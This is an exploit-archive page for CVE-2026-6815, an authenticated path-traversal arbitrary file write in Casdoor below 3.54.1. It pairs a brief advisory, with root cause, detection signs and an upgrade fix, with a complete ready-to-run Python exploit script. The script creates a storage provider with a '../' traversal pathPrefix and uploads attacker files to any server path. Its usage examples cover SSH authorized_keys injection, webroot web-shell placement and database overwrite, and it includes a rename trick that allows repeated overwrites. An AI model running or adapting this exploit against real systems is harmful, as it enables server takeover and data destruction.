PoC Archive PoC Archive
High CVE-2026-6815 unpatched

Casdoor Authenticated Path Traversal to Arbitrary File Write (CVE-2026-6815)

by Unnamed researcher (kb.cert.org disclosure) · 2026-07-05

Severity
High
CVE
CVE-2026-6815
Category
web
Affected product
Casdoor (open-source identity/access management platform)
Affected versions
< 3.54.1
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherUnnamed researcher (kb.cert.org disclosure)
CVE / AdvisoryCVE-2026-6815
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagscasdoor, path-traversal, arbitrary-file-write, rce, dos, authenticated, cwe-22
RelatedN/A

Affected Target

FieldValue
Software / SystemCasdoor (open-source identity/access management platform)
Versions Affected< 3.54.1
Language / PlatformPython PoC
Authentication RequiredYes (admin or equivalent user with storage-provider create/edit access)
Network Access RequiredYes (HTTP to Casdoor instance)

Summary

Casdoor’s Local File System storage provider fails to properly sanitize the pathPrefix configuration and fullFilePath parameter during resource uploads. An authenticated administrator (or equivalent privileged user) can use directory traversal sequences to escape the configured storage directory and write arbitrary files anywhere the Casdoor process has filesystem permissions — enabling RCE (e.g. via SSH authorized_keys injection) or DoS (overwriting the application database or core binaries).


Vulnerability Details

Root Cause

object/provider.go performs no validation on pathPrefix during storage-provider creation/update, and storage/local_file_system.go’s GetFullPath() method does not verify the resolved path remains within the intended sandbox directory.

Attack Vector

  1. Authenticate to Casdoor with admin (or equivalent storage-provider-privileged) credentials.
  2. Configure or use a Local File System storage provider with a crafted pathPrefix/fullFilePath containing ../ traversal sequences.
  3. Upload a file via the resource-upload flow; the server writes it to the attacker-chosen path outside the intended storage directory (e.g. into .ssh/authorized_keys, a crontab, or the webroot).

Impact

Authenticated administrators can achieve remote code execution (SSH key injection, webroot webshell) or denial of service (overwriting casdoor.db or core binaries) via arbitrary file write.


Environment / Lab Setup

Target:   Casdoor instance < 3.54.1
Attacker: Python 3 + requests, valid Casdoor admin/privileged credentials

Proof of Concept

PoC Script

See CVE-2026-6815.py and requirements.txt in this folder.

1
python3 CVE-2026-6815.py --url http://target:8000 --usr admin --psw <password> --file local_file --rpath /path/to/target/file

Authenticates to Casdoor and abuses the Local File System storage provider’s unsanitized path handling to write an attacker-supplied file to an arbitrary server path (demonstrated via SSH authorized_keys injection for RCE).


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected files written outside Casdoor’s configured storage directory
  • New/modified authorized_keys entries or crontabs on the Casdoor host

Remediation

ActionDetail
Primary fixUpgrade Casdoor to version 3.54.1 or later (see upstream PR #5458)
Interim mitigationRestrict storage-provider configuration privileges to fully-trusted administrators; monitor filesystem writes outside the intended storage path

References


Notes

Mirrored from https://github.com/danilo-dellorco/CVE-2026-6815 on 2026-07-05.

CVE-2026-6815.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
# Exploit Title: Casdoor < 3.54.1 - Arbitrary File Write via Path Traversal (Authenticated) (CVE-2026-6815)
# Date: 2026-05-11
# Exploit Author: sixpain
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Version: < 3.54.1
# Tested on: Linux / Docker
# CVE : CVE-2026-6815

"""
Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
================================================

DESCRIPTION:
This script exploits a Path Traversal vulnerability in the storage provider 
management component of Casdoor. By creating a 'Local File System' provider 
with a manipulated 'pathPrefix', an authenticated administrator can bypass 
the storage sandbox to write, overwrite, or delete arbitrary files on the 
underlying host filesystem.

IMPACT:
- Remote Code Execution (RCE) via SSH key injection or web shell upload.
- Persistent Denial of Service (DoS) by corrupting core application binaries 
  or database files (e.g., casdoor.db).

USAGE EXAMPLES:
1. SSH Key Injection for RCE:
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys

2. Persistent DoS (Database Corruption):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Reverse Shell (via secondary web server webroot):
   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

TROUBLESHOOTING & TECHNICAL NOTES:
- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application 
  and 'built-in' organization. If you have credentials for custom 
  namespaces, specify them using the --appname and --orgname flags.
- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique 
  remote path. Casdoor's resource management logic prevents direct subsequent 
  overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the 
  resource name if the entry already exists in the application's internal 
  database. To bypass this, the script automatically tags the uploaded resource 
  after every run, renaming it to a random sentinel value (e.g., 
  `_sl_home_sl_casdoor_sl_id_rsa.pub_EXP_XXXXXXXX`).
  
  Note: Slashes (`/`) in the target path are replaced with `_sl_` during the 
  rename operation because Casdoor forbids special characters like `/` in the 
  resource `name` field, which would cause an Error 1062 or validation failure.
  This ensures the original filename is always freed for the next upload, 
  preventing counter increments while safely storing the old entries in the DB.

- PERMISSIONS: Exploitation success is dependent on the OS-level permissions 
  of the user account running the Casdoor service.
- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.

DISCLAIMER:
This tool is for educational and coordinated disclosure purposes only. 
Unauthorized testing against systems you do not own is illegal.
"""


import argparse
import requests
import json
import os
import random
import string
import re

def log_request(response, verbose):
    """Prints request and response details if verbose mode is enabled."""
    if verbose:
        print("\n" + "="*50)
        print(f"DEBUG - REQUEST: {response.request.method} {response.request.url}")
        print(f"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}")
        if response.request.body:
            # Handle potential bytes body for multipart
            body = response.request.body
            if isinstance(body, bytes):
                print(f"BODY: <binary data, length {len(body)}>")
            else:
                print(f"BODY: {body}")
        print("-" * 50)
        print(f"DEBUG - RESPONSE: {response.status_code}")
        print(f"HEADERS: {json.dumps(dict(response.headers), indent=2)}")
        try:
            print(f"JSON BODY: {json.dumps(response.json(), indent=2)}")
        except:
            print(f"RAW BODY: {response.text[:500]}...") 
        print("="*50 + "\n")

def run_poc():
    parser = argparse.ArgumentParser(description="Casdoor Path Traversal Exploitation PoC")
    parser.add_argument("--url", required=True, help="Target base URL (e.g., http://casdoor:8000)")
    parser.add_argument("--usr", default="admin", help="Login username")
    parser.add_argument("--psw", default="123", help="Login password")
    parser.add_argument("--file", required=True, help="Local file to upload")
    parser.add_argument("--rpath", required=True, help="Absolute remote path (e.g., /tmp/pwned.txt)")
    parser.add_argument("--appname", default='app-built-in', help="Target Casdoor Application Name")
    parser.add_argument("--orgname", default='built-in', help="Target Casdoor Organization Name")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
    
    args = parser.parse_args()
    
    # Sanitize and validate URL schema
    target_url = args.url.strip().rstrip('/')
    if not target_url.startswith(('http://', 'https://')):
        print("[!] No protocol specified. Defaulting to http://")
        target_url = f"http://{target_url}"
    
    session = requests.Session()

    # Setting common user agent
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
    })

    # --- STEP 1: INITIAL SESSION ---
    print(f"[*] Step 1: Retrieving initial session cookie...")
    try:
        r1 = session.get(f"{target_url}/login/built-in")
        log_request(r1, args.verbose)
        
        if "casdoor_session_id" not in session.cookies:
            print("[-] Error: Failed to retrieve casdoor_session_id.")
            return
        print(f"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}")

        # --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---
        print(f"[*] Step 2: Logging in as {args.usr}...")
        login_payload = {
            "application": args.appname,
            "organization": args.orgname,
            "username": args.usr,
            "password": args.psw,
            "autoSignin": True,
            "signinMethod": "Password",
            "type": "login"
        }
        
        r2 = session.post(
            f"{target_url}/api/login", 
            data=json.dumps(login_payload),
            headers={"Content-Type": "text/plain;charset=UTF-8"}
        )
        log_request(r2, args.verbose)
        
        login_res = r2.json()
        if login_res.get("status") == "ok" and 'admin' in login_res.get("data").lower():
            print("[+] Login successful. Admin privileges confirmed.")
        else:
            print("[!] Warning: Not an admin or login failed. Attempting to proceed anyway...")

        # --- STEP 2.5: VERSION CHECK ---
        print(f"[*] Step 2.5: Checking Casdoor version...")
        try:
            r_version = session.get(f"{target_url}/api/get-version-info")
            log_request(r_version, args.verbose)
            if r_version.status_code == 200:
                version_data = r_version.json().get("data", {})
                if not version_data:
                     # Some versions might return data directly or in different format
                     version_data = r_version.json()
                
                version = version_data.get("version", "unknown")
                print(f"[+] Target Casdoor version: {version}")
                
                # Check if version is patched (>= 3.54.1)
                is_vulnerable = True
                if version != "unknown" and version != "dev":
                    try:
                        v_clean = version.lstrip('v').split('-')[0]
                        v_parts = [int(p) for p in v_clean.split('.')]
                        if v_parts >= [3, 54, 1]:
                            is_vulnerable = False
                    except:
                        pass # Parsing error, assume vulnerable or let user decide
                
                if not is_vulnerable:
                    print(f"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.")
                    choice = input("[?] Do you want to continue anyway? (y/N): ").lower()
                    if choice != 'y':
                        print("[-] Aborting.")
                        return
            else:
                print("[!] Warning: Could not retrieve version info (Status: {}).".format(r_version.status_code))
        except Exception as e:
            print(f"[!] Error during version check: {e}")


        # --- STEP 3: CHECK / CREATE MALICIOUS STORAGE PROVIDER ---
        provider_name = "path_traversal"

        print(f"[*] Step 3: Checking if provider '{provider_name}' exists...")
        r3_check = session.get(
            f"{target_url}/api/get-provider",
            params={"id": f"admin/{provider_name}"}
        )
        log_request(r3_check, args.verbose)
        try:
            check_res = r3_check.json()
            if check_res.get("status") == "ok" and check_res.get("data"):
                print(f"[+] Provider '{provider_name}' already exists. Reusing it.")
            else:
                raise ValueError("not found")
        except Exception:
            print(f"[*] Step 3.1: Creating provider '{provider_name}'...")
            provider_payload = {
                "owner":       "admin",
                "name":        provider_name,
                "createdTime": "2026-02-20T17:59:58+01:00",
                "displayName": "Path Traversal Provider",
                "category":    "Storage",
                "type":        "Local File System",
                "method":      "Normal",
                "pathPrefix":  "../../../../../../../../../"
            }
            r3 = session.post(
                f"{target_url}/api/add-provider",
                data=json.dumps(provider_payload),
                headers={"Content-Type": "text/plain;charset=UTF-8"}
            )
            log_request(r3, args.verbose)
            prov_res = r3.json()
            msg = prov_res.get("msg", "")
            if prov_res.get("status") == "ok":
                print(f"[+] Provider '{provider_name}' created successfully.")
            elif "UNIQUE constraint failed" in msg or "Duplicate entry" in msg:
                print(f"[+] Provider '{provider_name}' already exists. Reusing it.")
            else:
                print(f"[-] Failed to create provider: {msg}")
                if "pathPrefix" in msg and "is not allowed" in msg:
                    print("[!] Escape sequence is sanitized. Target is likely patched (>= 3.54.1).")
                return



        # --- STEP 4: FILE UPLOAD (EXPLOITATION) ---
        print(f"[*] Step 4: Uploading {args.file} to {args.rpath}...")

        # Base tag used to name the resource after upload.
        # Using the full rpath (slashes replaced) makes it identifiable per target.
        SENTINEL_NAME = args.rpath.replace("/", "_sl_")

        upload_params = {
            "owner":        args.orgname,
            "user":         args.usr,
            "application":  args.appname,
            "tag":          "custom",
            "parent":       "ResourceListPage",
            "fullFilePath": args.rpath,
            "provider":     provider_name,
        }

        if not os.path.exists(args.file):
            print(f"[-] Error: Local file {args.file} not found.")
            return

        with open(args.file, 'rb') as f:
            files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}
            r4 = session.post(f"{target_url}/api/upload-resource", params=upload_params, files=files)
            log_request(r4, args.verbose)
            upload_res = r4.json()

        if upload_res.get("status") == "ok":
            print("\n" + "!"*25)
            print(" EXPLOIT SUCCESSFUL")
            print("!"*25 + "\n")

            print("Response Path")
            print(25*'-')
            print(f'\t-data : {upload_res.get("data")}')
            print(f'\t-data2: {upload_res.get("data2")}')
            print(f'\t-data3: {upload_res.get("data3")}')
            print(25*'-')

            # --- STEP 5: POST-UPLOAD RENAME ---
            # Rename the newly uploaded resource to a unique tagged name
            # {SENTINEL_NAME}_EXP_{rand} and clear its url.
            #
            # This frees the basename (e.g. "authorized_keys") for the next upload so
            # Casdoor never appends a -N counter suffix.
            rand_tag  = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            exp_name  = f"{SENTINEL_NAME}_EXP_{rand_tag}"
            print(f"\n[*] Step 5: Tagging resource as '{exp_name}'...")
            try:
                uploaded_url = upload_res.get("data", "")
                r_list2 = session.get(
                    f"{target_url}/api/get-resources",
                    params={
                        "owner":        args.orgname,
                        "user":         args.usr,
                        "application":  args.appname,
                        "tag":          "custom",
                        "field": "", "value": "",
                        "sortField": "createdTime", "sortOrder": "descend",
                        "pageSize": 50,
                        "page": 1,
                    }
                )
                log_request(r_list2, args.verbose)
                resources = r_list2.json().get("data") or []

                # Match by the URL returned in the upload response
                target_res = next(
                    (r for r in resources if r.get("url") == uploaded_url),
                    None
                )

                if target_res:
                    old_id  = f"{target_res['owner']}/{target_res['name']}"
                    updated = dict(target_res)
                    updated["name"] = exp_name
                    updated["url"]  = ""   # clear traversal URL

                    r_upd = session.post(
                        f"{target_url}/api/update-resource",
                        params={"id": old_id},
                        data=json.dumps(updated),
                        headers={"Content-Type": "text/plain;charset=UTF-8"}
                    )
                    log_request(r_upd, args.verbose)

                    if r_upd.json().get("status") == "ok":
                        print(f"[+] Resource tagged as '{exp_name}'.")
                    else:
                        print(f"[!] Tag failed: {r_upd.json().get('msg')}")
                else:
                    print(f"[!] Could not locate uploaded resource in list. Tag skipped.")

            except Exception as e:
                print(f"[!] Post-upload tag error: {e}")

        else:
            print(f"[-] Upload failed: {upload_res.get('msg')}")

    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    run_poc()